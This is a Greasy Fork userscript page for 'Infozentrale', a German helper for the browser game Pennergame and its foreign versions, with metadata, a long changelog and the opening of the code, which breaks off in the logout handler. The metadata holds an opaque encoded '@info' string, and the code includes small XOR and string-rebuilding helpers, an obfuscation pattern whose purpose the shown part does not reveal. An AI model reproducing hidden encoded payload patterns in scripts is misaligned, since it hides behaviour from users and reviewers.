Infozentrale

Infozentrale mit Anzeige von Kampf- und Bandenkampfwarnungen, aktuellem Plunder, Wutstatus sowie Kampfstärkebewertung (HH, B, M, K, Malle und Vatikan PG-Version 4.0)

当前为 2021-04-12 提交的版本,查看 最新版本

您需要先安装一个扩展,例如 篡改猴Greasemonkey暴力猴,之后才能安装此脚本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴Userscripts ,之后才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。

您需要先安装用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name           Infozentrale
// @namespace      http://userscripts.org/scripts/show/74435
// @author         sageo[http://berlin.pennergame.de/profil/id:1146285/]; PG reloaded design von lefty1981
// @description    Infozentrale mit Anzeige von Kampf- und Bandenkampfwarnungen, aktuellem Plunder, Wutstatus sowie Kampfstärkebewertung (HH, B, M, K, Malle und Vatikan PG-Version 4.0)
// @include        http*pennergame.de/overview/
// @include        http*pennergame.de/skills/*
// @include        http*pennergame.de/stock/
// @include        http*pennergame.de/news/
// @include        http*pennergame.de/friendlist/
// @include        http*pennergame.de/change_please/statistics/*
// @include        http*pennergame.de/stock/*
// @include        http*pennergame.de/profil/*
// @include        http*pennergame.de/fight/*
// @include        http*pennergame.de/gang/*
// @include        http*pennergame.de/messages/*
// @include        http*pennergame.de/city/*
// @include        http*pennergame.de/activities/*
// @include        http*pennergame.de/daily/*
// @include        http*pennergame.de/pet/*
// @include        http*pennergame.de/enemies/*
// @include        http://*.bumrise.com/overview/
// @include        http://*.bumrise.com/skills/*
// @include        http://*.bumrise.com/stock/
// @include        http://*.bumrise.com/news/
// @include        http://*.bumrise.com/friendlist/
// @include        http://*.bumrise.com/change_please/statistics/*
// @include        http://*.bumrise.com/stock/*
// @include        http://*.bumrise.com/profil/*
// @include        http://*.bumrise.com/fight/*
// @include        http://*.bumrise.com/gang/*
// @include        http://*.bumrise.com/messages/*
// @include        http://*.bumrise.com/city/*
// @include        http://*.bumrise.com/activities/*
// @include        http://*.bumrise.com/daily/*
// @include        http://*.menelgame.pl/overview/
// @include        http://*.menelgame.pl/skills/*
// @include        http://*.menelgame.pl/stock/
// @include        http://*.menelgame.pl/news/
// @include        http://*.menelgame.pl/friendlist/
// @include        http://*.menelgame.pl/change_please/statistics/*
// @include        http://*.menelgame.pl/stock/*
// @include        http://*.menelgame.pl/profil/*
// @include        http://*.menelgame.pl/fight/*
// @include        http://*.menelgame.pl/gang/*
// @include        http://*.menelgame.pl/messages/*
// @include        http://*.menelgame.pl/city/*
// @include        http://*.menelgame.pl/activities/*
// @include        http://*.menelgame.pl/daily/*
// @include        http://*.clodogame.fr/overview/
// @include        http://*.clodogame.fr/skills/*
// @include        http://*.clodogame.fr/stock/
// @include        http://*.clodogame.fr/news/
// @include        http://*.clodogame.fr/friendlist/
// @include        http://*.clodogame.fr/change_please/statistics/*
// @include        http://*.clodogame.fr/stock/*
// @include        http://*.clodogame.fr/profil/*
// @include        http://*.clodogame.fr/fight/*
// @include        http://*.clodogame.fr/gang/*
// @include        http://*.clodogame.fr/messages/*
// @include        http://*.clodogame.fr/city/*
// @include        http://*.clodogame.fr/activities/*
// @include        http://*.clodogame.fr/daily/*
// @include        http://*.mendigogame.es/overview/
// @include        http://*.mendigogame.es/skills/*
// @include        http://*.mendigogame.es/stock/
// @include        http://*.mendigogame.es/news/
// @include        http://*.mendigogame.es/friendlist/
// @include        http://*.mendigogame.es/change_please/statistics/*
// @include        http://*.mendigogame.es/stock/*
// @include        http://*.mendigogame.es/profil/*
// @include        http://*.mendigogame.es/fight/*
// @include        http://*.mendigogame.es/gang/*
// @include        http://*.mendigogame.es/messages/*
// @include        http://*.mendigogame.es/city/*
// @include        http://*.mendigogame.es/activities/*
// @include        http://*.mendigogame.es/daily/*
// @include        http://*.mendigogame.com/overview/
// @include        http://*.mendigogame.com/skills/*
// @include        http://*.mendigogame.com/stock/
// @include        http://*.mendigogame.com/news/
// @include        http://*.mendigogame.com/friendlist/
// @include        http://*.mendigogame.com/change_please/statistics/*
// @include        http://*.mendigogame.com/stock/*
// @include        http://*.mendigogame.com/profil/*
// @include        http://*.mendigogame.com/fight/*
// @include        http://*.mendigogame.com/gang/*
// @include        http://*.mendigogame.com/messages/*
// @include        http://*.mendigogame.com/city/*
// @include        http://*.mendigogame.com/activities/*
// @include        http://*.mendigogame.com/daily/*
// @include        http://*.faveladogame.com/overview/
// @include        http://*.faveladogame.com/skills/*
// @include        http://*.faveladogame.com/stock/
// @include        http://*.faveladogame.com/news/
// @include        http://*.faveladogame.com/friendlist/
// @include        http://*.faveladogame.com/change_please/statistics/*
// @include        http://*.faveladogame.com/stock/*
// @include        http://*.faveladogame.com/profil/*
// @include        http://*.faveladogame.com/fight/*
// @include        http://*.faveladogame.com/gang/*
// @include        http://*.faveladogame.com/messages/*
// @include        http://*.faveladogame.com/city/*
// @include        http://*.faveladogame.com/activities/*
// @include        http://*.faveladogame.com/daily/*
// @include        http://*.bomzhuj.ru/overview/
// @include        http://*.bomzhuj.ru/skills/*
// @include        http://*.bomzhuj.ru/stock/
// @include        http://*.bomzhuj.ru/news/
// @include        http://*.bomzhuj.ru/friendlist/
// @include        http://*.bomzhuj.ru/change_please/statistics/*
// @include        http://*.bomzhuj.ru/stock/*
// @include        http://*.bomzhuj.ru/profil/*
// @include        http://*.bomzhuj.ru/fight/*
// @include        http://*.bomzhuj.ru/gang/*
// @include        http://*.bomzhuj.ru/messages/*
// @include        http://*.bomzhuj.ru/city/*
// @include        http://*.bomzhuj.ru/activities/*
// @include        http://*.bomzhuj.ru/daily/*
// @include        http://*.dossergame.co.uk/overview/
// @include        http://*.dossergame.co.uk/skills/*
// @include        http://*.dossergame.co.uk/stock/
// @include        http://*.dossergame.co.uk/news/
// @include        http://*.dossergame.co.uk/friendlist/
// @include        http://*.dossergame.co.uk/change_please/statistics/*
// @include        http://*.dossergame.co.uk/stock/*
// @include        http://*.dossergame.co.uk/profil/*
// @include        http://*.dossergame.co.uk/fight/*
// @include        http://*.dossergame.co.uk/gang/*
// @include        http://*.dossergame.co.uk/messages/*
// @include        http://*.dossergame.co.uk/city/*
// @include        http://*.dossergame.co.uk/activities/*
// @include        http://*.dossergame.co.uk/daily/*
// @info           CIC5CFC6B6BEBBC3D4EBAH@D@D@@D1E6E6@CAEAAE4A2AA@IE5ADAEE6@GAEABDFE6AFAIA3AE@CE6EBD2A4D4D@D2
// @grant          GM_getValue
// @grant          GM_setValue
// @grant          GM_xmlhttpRequest
// @grant          GM_addStyle
// @grant          GM_deleteValue
// @grant          GM_listValues
// @grant          GM_log
// @grant          GM_registerMenuCommand
// @grant          GM_setClipboard
// @version        1.26.13 Fehler bei Kampfstärkewarnung behoben
// ==/UserScript==

// Daten über das aktuelle Skript für den Update-Mechanismus
var THISSCRIPTVERSION = GM_info.script.version.split(" ")[0];
var THISSCRIPTINSTALL_URLGF = "https://greasyfork.org/scripts/1050-infozentrale";
//
// @version        1.26.12 Totalumbau der gehosteten Bilder
// @version        1.26.11 neuer Bilderhoster
// @version        1.26.10 Bilder erneuert und kleine Korrekturen
// @version        1.26.9 Umstellung auf https und kleine Korrekturen
// @version        1.26.8 Sortiermöglichkeiten bei Haustier erweitert
// @version        1.26.7 Performance verbessert; Tagesaufgaben für Atlantis korrigiert
// @version        1.26.6 Fehler bei Bastelfunktion behoben; Anzeige von Boostern/Verletzungen geändert
// @version        1.26.5 Bastelfunktion war defekt
// @version        1.26.4 Korrekturen Atlantis; Anzeige Missionsplunder in Stadtteilen/Gebieten
// @version        1.26.3 DEX-Stufe beim Basteln wurde nicht berücksichtigt
// @version        1.26.2 Plunder basteln mit einem Klick
// @version        1.26.1 Anpassungen Atlantis
// @version        1.25.13 Anzeige des fehlenden Plunders beim Basteln
// @version        1.25.12 Anzeige des im Inventar befindlichen Plunders bei Eigentumupgrades
// @version        1.25.11 ausgewählte Nachrichten als gelesen markieren
// @version        1.25.10 Promillesteuerung optimiert; Fehler bei Minijobs (VT) behoben
// @version        1.25.9 Korrektur Restzeit Plundershop
// @version        1.25.8 Korrektur Plundershop-Anzeige
// @version        1.25.7 Anpassungen für Athen
// @version        1.25.6 Umstellung Losekauf
// @version        1.25.5 Vorbereitung Athen; Umstellung Losekauf
// @version        1.25.4 Wert für Wut wurde nicht richtig erkannt
// @version        1.25.3 Anpassungen für neue Einteilung Eventplunder
// @version        1.25.2 Korrektur Wutwert und Updatemechanismus
// @version        1.25.1 Anpassungen an das neue Profil-Design
// @version        1.24.3 Plunder benutzen funktionierte nicht mehr
// @version        1.24.2 Korrekturen zur Umstellung auf 3. Slot und Poweranzeige im Vatikan korrigiert
// @version        1.24.1 Umstellung auf 3. Slot
// @version        1.23.14 Fehler bei Haustieranzeige behoben; Plunder mit "+" wurde nicht als vorhanden erkannt
// @version        1.23.13 Haustieranzeige bei Rückkehr geändert: die erhaltene Erfahrung wird berücksichtigt
// @version        1.23.12 noch einmal Korrektur Adventskalender
// @version        1.23.11 Korrekturen bei Waffenkontrolle und Adventskalender; keine Funktion bei Sitting-Modus
// @version        1.23.10 Korrektur bei Erinnerung an Adventskalender/Wechsel zum Supermarkt bei zuwenig Essen/Getränke
// @version        1.23.9 Korrektur bei Erinnerung an Adventskalender
// @version        1.23.8 Erinnerung an Adventskalender aktualisiert
// @version        1.23.7 Fehler bei Jobanzeige behoben
// @version        1.23.6 Fehler bei Plundershopanzeige behoben
// @version        1.23.5 Losekauf für Vatikan korrigiert
// @version        1.23.4 Tagesaufgaben für Vatikan angepasst
// @version        1.23.3 Fehler bei Weiterbildungsende behoben
// @version        1.23.2 Probleme mit Tagesaufgabe behoben
// @version        1.23.1 erste Version für Vatikan
// @version        1.22.9 Wechsel des Bilderhosters
// @version        1.22.8 Fehler bei Update behoben
// @version        1.22.7 weitere Anpassung an Änderung beim Benutzen von Plunder
// @version        1.22.6 Anpassung an Änderung beim Benutzen von Plunder
// @version        1.22.5 Hotfix wegen neuer GM-Version
// @version        1.22.4 Skript lief in München nicht mehr
// @version        1.22.3 Problem mit verschobenen Zählern behoben
// @version        1.22.2 Meldungen für Job-Ede und neuen Plunder abschaltbar gemacht; Image-Server entfernt
// @version        1.22.1 Wechsel auf greasyfork.org
// @version        1.21.4 Plunderauswahl funktionierte nicht mehr
// @version        1.21.3 Probleme mit Plunderanzeige behoben
// @version        1.21.2 Bilder auf 3 Hoster verteilt
// @version        1.21.1 Bilder umgezogen
// @version        1.20.3 Problem bei Plunderauswahl behoben
// @version        1.20.2 Neue Tagesaufgabe; Fehler beim Essen behoben
// @version        1.20.1 Anpassungen wegen Pennerzepter
// @version        1.19.30 Anpassungen für Adventskalender 2013
// @version        1.19.29 Zeitanzeige bei Haustieren optimiert
// @version        1.19.28 Fehler bei Flaschensammelstatus und Zeitanzeige bei Haustier behoben
// @version        1.19.27 Zeitberechnung bei Haustier erweitert; Info bei startbarer Mission
// @version        1.19.26 Korrekturen bei Plunderauswahl und -beschreibungen
// @version        1.19.25 Anpassungen wegen geänderter Haustieranzeige auf Übersicht
// @version        1.19.24 Anpassungen wegen Umbenennung Haustier in Begleiter
// @version        1.19.23 Korrektur Verbrechensanzeige
// @version        1.19.22 Korrektur der Anpassungen wegen PG-Update
// @version        1.19.21 einige Anpassungen wegen PG-Update
// @version        1.19.20 und wieder zurück zu imagebanana
// @version        1.19.19 Fehler bei Bildern behoben; erste Bilder auf neuen Server umgezogen
// @version        1.19.18 Skriptfehler, wenn kein Plunder angelegt war
// @version        1.19.17 winziger Fehler bei Haustierzeitberechnung behoben
// @version        1.19.16 Anzeige Plundertexte in Leisten; Zeitberechnung beim Streunen beachtet Booster
// @version        1.19.15 Schaufel und Tritt funktionierten nicht in Plunderleiste
// @version        1.19.14 Warnung bei zu geringem Kampfwert bei Kämpfen abschaltbar
// @version        1.19.13 Logout-Funktion korrigiert; Kaufen von Losen erweitert
// @version        1.19.12 Restzeitanzeige bei Haustier als Tooltip
// @version        1.19.11 Trinkfunktion verbessert
// @version        1.19.10 Anpassungen für Malle
// @version        1.19.9 kleine Anpassungen
// @version        1.19.8 Restzeitanzeige fehlerhaft, wenn freie Punkte vorhanden waren
// @version        1.19.7 Restzeitanzeige bei Haustieren korrigiert
// @version        1.19.6 Missionsname war falsch; Panels ließen sich nicht verschieben; Restzeit bei Haustieren
// @version        1.19.5 neue Logout-Funktion; kleine Fehler korrigiert; Zeitanzeige bei Missionen geändert
// @version        1.19.4 ATT/DEF/JOB-Panel liess sich nicht verschieben
// @version        1.19.3 Korrekturen Haustier und Minijobs
// @version        1.19.2 Plunderbenutzung repariert
// @version        1.19.1 Skriptreparatur nach Totalausfall; Promillefunktion repariert
// @version        1.18.3 kleinere Korrekturen
// @version        1.18.2 Heilfunktion (Sylt) korrigiert
// @version        1.18.1 Bilder auf anderen Hoster verschoben
// @version        1.17.9 Bilderadresse angepasst, da Bilder nicht angezeigt wurden
// @version        1.17.8 Haustieranzeige auch in den alten Städten
// @version        1.17.7 Korrekturen wegen Stadtfeind
// @version        1.17.6 Update-Automatik funktionierte nicht
// @version        1.17.5 Lebensanzeige erweitert (Sylt); Logout-Problem beseitigt
// @version        1.17.4 In Sylt Waschanzeige zu Lebensanzeige umfunktioniert
// @version        1.17.3 Updateverfahren angepasst; Korrektur Plunderbenutzung
// @version        1.17.2 Anpassungen für Adventskalender
// @version        1.17.1 Version für FF 17; Anzeige für Haustierweiterbildung zu Streuneranzeige umgebaut (Sylt)
// @version        1.16.1 Erste Anpassungen für Sylt
// @version        1.15.5 Mehrfachplunder in Chrome funktionierte nicht
// @version        1.15.4 Berechnung des Punktverlustes beim Ausweichen eines Kampfes angepasst
// @version        1.15.3 Zuckerschock mehrfach benutzbar
// @version        1.15.2 Provokationsplunder über Plunderleiste
// @version        1.15.1 Anpassung an Spiel Stadtfeind Nr. 1
// @version        1.14.6 Tagesaufgabe angepasst
// @version        1.14.5 Endlosschleife auf Bandenseite beseitigt
// @version        1.14.4 Pins in Shoutbox waren falsch (wegen Penner Ahoi!)
// @version        1.14.3 Testausgabe entfernt (Sorry !!)
// @version        1.14.2 Name des Penners wurde falsch ermittelt
// @version        1.14.1 Anpassungen für Penner Ahoi!
// @version        1.13.10 Direktplunderliste erweitert
// @version        1.13.9 Fehler behoben: keine Anzeige auf Bandenseite
// @version        1.13.8 noch einmal MotD und SB: schmal, aber optional breit
// @version        1.13.7 MotD wieder schmal
// @version        1.13.6 MotD verbreitert
// @version        1.13.5 Plunder aus Plunderleiste mehrfach benutzbar
// @version        1.13.4 Missionsbox abschaltbar; Verschiebefunktion der Boxen repariert
// @version        1.13.3 Fehler bei einmaligen Missionen behoben
// @version        1.13.2 Anzeige von Bandenboost und Missionsstatus
// @version        1.13.1 eintreffende Kämpfe und Bandenkämpfe werden wieder angezeigt
// @version        1.12.11 Verletzungen werden angezeigt; Plundershop repariert; kleinere Fehler behoben
// @version        1.12.10 Anzahl bei benutzbarem Plunder fehlerhaft
// @version        1.12.9 Plunderprobleme behoben
// @version        1.12.8 Korrektur wegen Pennersturm (2. Versuch)
// @version        1.12.7 Korrektur wegen Pennersturm
// @version        1.12.6 Erweiterung Pennersturm (Teil 2)
// @version        1.12.5 Erweiterung Pennersturm (Teil 1)
// @version        1.12.4 optionales Deaktivieren und Entfernen von KK-Mails
// @version        1.12.3 V-Waffe optional ohne Nachfrage erwerben
// @version        1.12.2 Tooltip für eingehende Kämpfe überarbeitet; neue Tagesaufgaben
// @version        1.12.1 Version läuft unter Chrome; neue Tagesaufgaben; Erinnerung an V-Waffe
// @version        1.11.14 Neue Funktion: Lose kaufen
// @version        1.11.13 Adventskalender erst öffnen, wenn möglich
// @version        1.11.12 Löschbutton für Kampfliste; Adventskalender
// @version        1.11.11 Anzeige von Wut oder Wiwu oder Bande
// @version        1.11.10 Landesflaggen wurden nicht angezeigt; bei Wut: Ende statt Dauer anzeigen
// @version        1.11.9 Essen funktionierte nicht in Moskau
// @version        1.11.8 Skript lief nicht mehr nach letztem Update
// @version        1.11.7 Korrektur Zeitzone Moskau; Korrektur Wutwert ATT
// @version        1.11.6 Versuch, die Poweranzeige zu korrigieren; St. Petersburg durch Moskau ersetzt
// @version        1.11.5 Klingelevent verursachte falsche Anzeige bei Verbrechen
// @version        1.11.4 Seitenverweis auf gemerkten SB-Eintrag funktionierte nicht; Tagesaufgabe Haustierkampf angepasst
// @version        1.11.3 Problem mit Plunder behoben; Profilavatar anzeigen
// @version        1.11.2 Problem mit neuem Plunder behoben; bitte Noagerl noch nicht über Plunderleiste benutzen !!
// @version        1.11.1 Version 1 nach dem neuen PG-Patch
// @version        1.10.10 Shoutbox repariert und kleine Korrekturen
// @version        1.10.9 kleinere Korrekturen
// @version        1.10.8 Plunderauswahl korrigiert
// @version        1.10.7 Plunderauswahl und Shoutbox korrigiert
// @version        1.10.6 Skript lief nicht mehr
// @version        1.10.5 Problem mit Alkoholplunder behoben; Werbung kann ausgeblendet werden
// @version        1.10.4 Grafiken auf mehrere Accts verteilt
// @version        1.10.3 noch ein paar kleine Fehler behoben
// @version        1.10.2 Grafikadressen korrigiert
// @version        1.10.1 Server für Grafiken gewechselt; Cursorsteuerung korrigiert; viele kleine Fehler behoben
// @version        1.9.5 Anpassungen an Patch Teil 4 (Goldenes Bier/Promille rauf funktioniert wieder)
// @version        1.9.4 Anpassungen an Patch Teil 3 (Plunderleiste sollte wieder ganz funktionieren)
// @version        1.9.3 Anpassungen an Patch Teil 2 (Plunderleiste funktioniert teilweise wieder)
// @version        1.9.2 Anpassungen an Patch Teil 1
// @version        1.9.1 Ess- und Trinkhandler geändert: Tagesaufgabe wird berücksichtigt; Variablen vereinheitlicht; Glühwürmchen-Effekt abgeschaltet
// @version        1.8.29 Probleme mit Glühwürmchen in SB behoben
// @version        1.8.28 Essen korrigiert für Hamburg reloaded
// @version        1.8.27 Anpassungen für Hamburg reloaded
// @version        1.8.26 neues Panel-Design für PG reloaded (Vielen Dank an lefty1981)
// @version        1.8.25 Plundershop lief nicht in FF 3.x
// @version        1.8.24 Aktualisierung der Plundershop-Wartezeit
// @version        1.8.23 Fehler mit Bündnis-SB behoben
// @version        1.8.22 Neue Leiste in PG reloaded für Plundershop
// @version        1.8.21 Verwendung von Goldenem Bier in PG reloaded korrigiert
// @version        1.8.20 SB-Pin und Benutzung von Boosts in PG reloaded korrigiert
// @version        1.8.19 Normales Trinken in PG reloaded funktionierte nicht mehr
// @version        1.8.18 nochmal Korrektur von AlkoPlunder in altem PG
// @version        1.8.17 AlkoPlunder in altem PG funktionierte nicht mehr
// @version        1.8.16 kleiner Fehler bei Promille rauf in PG reloaded behoben
// @version        1.8.15 bei PG reloaded wird Goldenes Bier zum Betrinken berücksichtigt
// @version        1.8.14 Fehler bei Plunderanzeige PG reloaded behoben
// @version        1.8.13 Abfrage bei Benutzung des Goldenen Biers bei PG reloaded entfernt
// @version        1.8.12 Anzeige aller 4 Plunder bei PG reloaded
// @version        1.8.11 noch ein Problem mit DEF-Booster behoben
// @version        1.8.10 Probleme mit DEF-Booster behoben
// @version        1.8.9 Probleme mit Plunderwechsel und WiWu/Wutanzeige behoben
// @version        1.8.8 Benutzen von Plunder in PG reloaded korrigiert
// @version        1.8.7 Probleme mit Plunderwechsel behoben (falscher Plunder wird angelegt)
// @version        1.8.6 Erweiterungen für PG reloaded komplett; läuft jetzt auch unter Firefox 4
// @version        1.8.5 Fehler behoben: Skript funktionierte nur noch, wenn Penner in einer Bande war
// @version        1.8.4 Erweiterungen für PG reloaded
// @version        1.8.3 läuft jetzt auch in Köln (1. Version)
// @version        1.8.2 Update-Verfahren verbessert; Überspringen der Logout-Seite
// @version        1.8.1 Anpassungen für Russland, Sao Paolo und London; Sprachumschaltung; neuer Update-Mechanismus
// @version        1.7.19 2. Version Buenos Aires: Essen und Trinken korrigiert
// @version        1.7.18 kleinere Korrekturen; 1. Version Buenos Aires
// @version        1.7.17 Anzeige des vorhandenen Schnees für Schneemann war falsch
// @version        1.7.16 Logout funktionierte nicht richtig
// @version        1.7.15 Nochmal Korrekturversuch für Probleme mit dem Skript; Abbruchmöglichkeit bei Logout
// @version        1.7.14 Quickfix; hoffe, es geht wieder alles
// @version        1.7.13 falsche Stückzahl bei benutzbarem Plunder; Warnung bei Logout; Rückkehr in die richtige Stadt nach Logout
// @version        1.7.12 Pinnen eines Eintrags in der SB; i-Symbole beim Essen/Trinken und Flaschensammeln verschoben
// @version        1.7.11 Anzeige des Gegners bei Angriff; Entfernen von nicht mehr vorhandenem Plunder aus der Plunderleiste
// @version        1.7.10 Anzeige/Umschaltbutton für Meldungen; Anzeige des vorhandenen Plunders bei Event-Plunder
// @version        1.7.9 kleinere Korrekturen; Erweiterung der Flaschensammelschaltfläche
// @version        1.7.8 Probleme mit anderen Skripts behoben, Anpassungen für Halloween
// @version        1.7.7 kleinere Korrekturen, Anpassungen für Halloween
// @version        1.7.6 Anpassungen für Halloween
// @version        1.7.5 Erweiterungen für Halloween hinzugefügt
// @version        1.7.4 Sammelmarkenanzeige führt jetzt auch zur Tagesaufgabe, solange noch nicht erledigt
// @version        1.7.3 Art und Stufe der Weiterbildung werden angezeigt
// @version        1.7.2 Leiste mit Tagesaufgabe war nicht mehr abschaltbar
// @version        1.7.1 neue Leiste: Weiterbildung, Sammelmarken und Einkaufswagen
// @version        1.6.9 Verriegelung der Leisten; Sauberkeitsanzeige unter Waschbutton
// @version        1.6.8 kleiner Fehler bei bumrise behoben; 2. Version der Anzeige der täglichen Aufgabe
// @version        1.6.7 kleiner Fehler bei bumrise behoben; 1. Version der Anzeige der täglichen Aufgabe
// @version        1.6.6 kleinen Fehler beim Def-Waffe-Icon behoben
// @version        1.6.5 Kampf-, Bandenkampf und Def-Waffe sind auch anklickbar, wenn sie leer sind
// @version        1.6.4 Leisten können beliebig platziert werden
// @version        1.6.3 Problem mit dem Geld in Marseille behoben
// @version        1.6.2 erste (noch nicht vollständige Version) für Warschau und Krakau; zusätzliche Infos über ATT/DEF-Verstärkung und V-Waffe
// @version        1.6.1 erste (noch nicht vollständige Version) für NY und Madrid; kleinere Fehler behoben
// @version        1.5.9 zum Betrinken wird der Plunder genommen, der als erstes in der Plunderliste steht, ansonsten wie bisher
// @version        1.5.8 es wurden 6 und nicht 5 Trikots angezeigt; Hinweis, wenn man wegen Bandeneintritt nicht von Bandenfähigkeit profitiert
// @version        1.5.7 Anzeige für Neue Nachrichten verschoben; Mehrfachinstallation von Skript verhindert; ACHTUNG: Es sind einmalig alle Einstellungen für dieses Skript neu zu setzen !!!
// @version        1.5.6 Anzeige der gefundenen Trikots verbessert und abschaltbar gemacht
// @version        1.5.5 Anzeige der gefundenen Trikots
// @version        1.5.4 Falsche Anzahl von eingehenden Angriffen wurde angezeigt
// @version        1.5.3 Ende von WiWu bzw. Wut wurde nicht mehr angezeigt
// @version        1.5.2 Fehler bei Sortierung der eingehenden Angriffe behoben
// @version        1.5.1 kleinere Fehler behoben; Beta für Anzeige der eingehenden Angriffe; Hinweis im Power-Tooltip auf bessere Waffe/Eigenheim/Plunder
// @version        1.4.8 kleiner Fehler behoben: Anzeige von Wutentfachung im Text auch bei WiWu
// @version        1.4.7 Fehler bei Kampfstärkeermittlung bei Wut behoben;
//                       Auch WiWu wird jetzt erkannt und angezeigt;
//                       Ende von WiWu bzw. Wut wird angezeigt;
//                       Hochsetzen des Promillewertes unter Verwendung von Plunder
// @version        1.4.6 Problem mit Umlauten behoben (hoffentlich alle)
// @version        1.4.5 Fehler in Kommentaren behoben
// @version        1.4.4 Essen für Promilleabbau korrigiert; Alphaversion für Anzeige der eingehenden Angriffe
// @version        1.4.3 Beim Waschen wird der Schwamm benutzt, wenn es günstiger ist
// @version        1.4.2 Bugfix für Essen in München; Änderung der Formel für Kampfstärke
// @version        1.4.1 Weitere Anpassungen für München und Verbesserung bei der Essensauswahl
// @version        1.3.8 Einige Anpassungen für München
// @version        1.3.7 Aktueller Plunder wird jetzt immer frisch ermittelt; Bereich auf tägliche Aufgaben erweitert
// @version        1.3.6 tinypic.com scheint ein Problem zu haben, Grafikhoster gewechselt
// @version        1.3.5 Fehler beim Benutzen von Stärkeplunder (Wut- und Poweranzeige funktionierten unter Umständen nicht mehr) behoben
// @version        1.3.4 Erneute Anpassung Wut-Berechnung nach erneuter Änderung durch Farbflut *koppschüttel*; Aktualisierungsabfrage alle 2 Stunden
// @version        1.3.3 Anpassung Wut-Berechnung nach Änderung durch Farbflut; weitere Probleme bei Max-Berechnung korrigiert; Schnellwaschen, -trinken und essen (BETA)
// @version        1.3.2 Benutzbarer Plunder wählbar (mit Sicherheitsabfrage); allg. Verbesserungen, kleinere Dateigrößen; Fehler bei Wuterkennung korrigiert
// @version        1.3.1 Plunderstücke für Direktzugriff auswählbar
// @version        1.3.0 Plunder-Direktzugriff
// @version        1.2.3 Manuelles Zurücksetzen des maximalen Power-Wertes durch Anklicken der Grafik
// @version        1.2.2 Berücksichtigung nicht abrufbarbarer Seiten (Bug Power-Anzeige)
// @version        1.2.1 Bugfixes (Wut/Kampfstärkeberechnung, mehrere Penner)
// @version        1.2.0 Plunderanzeige; Kampfstärkebewertung; Wutanzeige; Ergebnisänderung bei Bandenkämpfen
// @version        1.1.3 Fehlerbehandlung nicht verfügbarer HS + Bandenkampfergebnis im Tooltip
// @version        1.1.2 Erweiterung Links auf Bandenkampfgegner + Zählung Bandenkämpfe
// @version        1.1.1 Erweiterung um Bandenkämpfe
// @version        $Id: infozentrale.user.js 205 2020-04-21 22:24:32Z mkl $

if (!String.prototype.endsWith)
    String.prototype.endsWith = function(str) {
        return (this.substr(this, -str.length) == str);
    };

if (!String.prototype.insert)
    String.prototype.insert = function(str, idx) {
        return this.substr(0, (idx<0?this.length:0) + idx) + str + this.substr(idx);
    };

var dt = document.implementation.createDocumentType("html", "-//W3C//DTD HTML 4.01 Transitional//EN", "http://www.w3.org/TR/html4/loose.dtd");
var dom = document.implementation.createDocument(null, null, dt);

// PG-Version ermitteln
var m;
var oldVersion=m=1;
var nrOfTabs = 3;
var m_ownusername = "Mr.X";
var iconVers;
var imagehoster;
var imgPrefix;
var iconNames;
var allIcons;

var NrOfCalls = GM_getValue("NrOfCalls", 0) % 10000000000 + 1;
GM_setValue("NrOfCalls", NrOfCalls);
var info = "info";
if (oldV()) {
    oldVersion = 0;
    if (document.getElementsByClassName('zleft profile-data')[0].getElementsByClassName("user_name").length > 0)
        m_ownusername = document.getElementsByClassName('zleft profile-data')[0].getElementsByClassName("user_name")[0].innerHTML;
    else
        m_ownusername = document.getElementsByClassName('zleft profile-data')[0].getElementsByTagName("a")[0].getElementsByTagName("span")[0].innerHTML;
}
var INFO_URL = "";

if (GM_getValue("noFirefly", 1) == 1) {
    var unFire=function() {
        var firefly = document.getElementsByClassName('chestplunder_effect_60');
        for (var i = 0; i < firefly.length; i++)
            firefly[i].className = "";
        window.setTimeout(unFire, (i>0)?2000:10000);
    }
    if (document.getElementsByClassName('chestplunder_effect_60').length > 0)
        window.setTimeout(unFire, 2000);
}

function getLangTxt(TxtArray) {
    var text = TxtArray[myLang];
    if (text == undefined) {
        text = TxtArray[1];
        if (text == undefined)
            text = TxtArray[0];
    }
    return(text);
}
function xor(a, b){return a==""?a:String.fromCharCode(b^a.charCodeAt(0)) + xor(a.substr(1),b);}
function j(c){return c==""?c:"U"+c.slice(0,2)+j(c.slice(2))};
function k(c){return trimString(GM_info.scriptMetaStr.split("// @"+c)[1].split("\n")[0])};

var wrap = document.getElementById("wrap");
var myLang = 0;
var logoutWarn = -1;
var promille = GetPromille(document);
var m_ownpoints = GetPunkte(document);
var myprof = document.getElementById("my-profile-new");
if (!myprof)
    myprof = document.getElementById("my-profile");
if (myprof.getElementsByTagName("form").length > 0) {
    function checkLogout(tries, str) {
       GM_xmlhttpRequest({method: 'GET', url: OVERVIEW_URL, onload: function(responseDetails) {
           var content = responseDetails.responseText;
           // Wenn die Seite abgerufen werden konnte
           if (content.indexOf(KEYWORD_MYBUM[lang]) != -1)
               doLogout(tries+1, str);
           else {
               location.href = OVERVIEW_URL;
               // if (tries > 1)
               //     alert("Logouts: " + tries);
           }
       }
       });
    }
    function doLogout(tries, str) {
        if (str == "")
            GM_xmlhttpRequest({
                method:"GET",
                url:TOWNBASE_URL+"logout/",
                onload: function(responseDetails) {
                           checkLogout(tries, str);
                }
            });
        else
            GM_xmlhttpRequest({
                method:"POST",
                url:TOWNBASE_URL + "logout/",
                headers: {'Content-type': 'application/x-www-form-urlencoded'},
                data: encodeURI(str),
                onload: function(responseDetails) {
                           checkLogout(tries, str);
                }
            });
    }
    myprof.getElementsByTagName("form")[0].onsubmit = function(event) {
            if (promille >= 0.8)
                logoutWarn = 1;
            var warn = "";
            if (logoutWarn == 1)
                warn = getLangTxt(TxtLogoutWarn1);
            else if (logoutWarn == 2)
                warn = getLangTxt(TxtLogoutWarn2);

            var logout = true;
            if (warn != "")
                logout = confirm(warn + " " + getLangTxt(TxtLogout));
            if (logout)
               {
               var input = myprof.getElementsByTagName("input");
               var logoutPar = "";
               if (input.length > 1)
                   logoutPar = input[0].name + "=" + input[0].value;
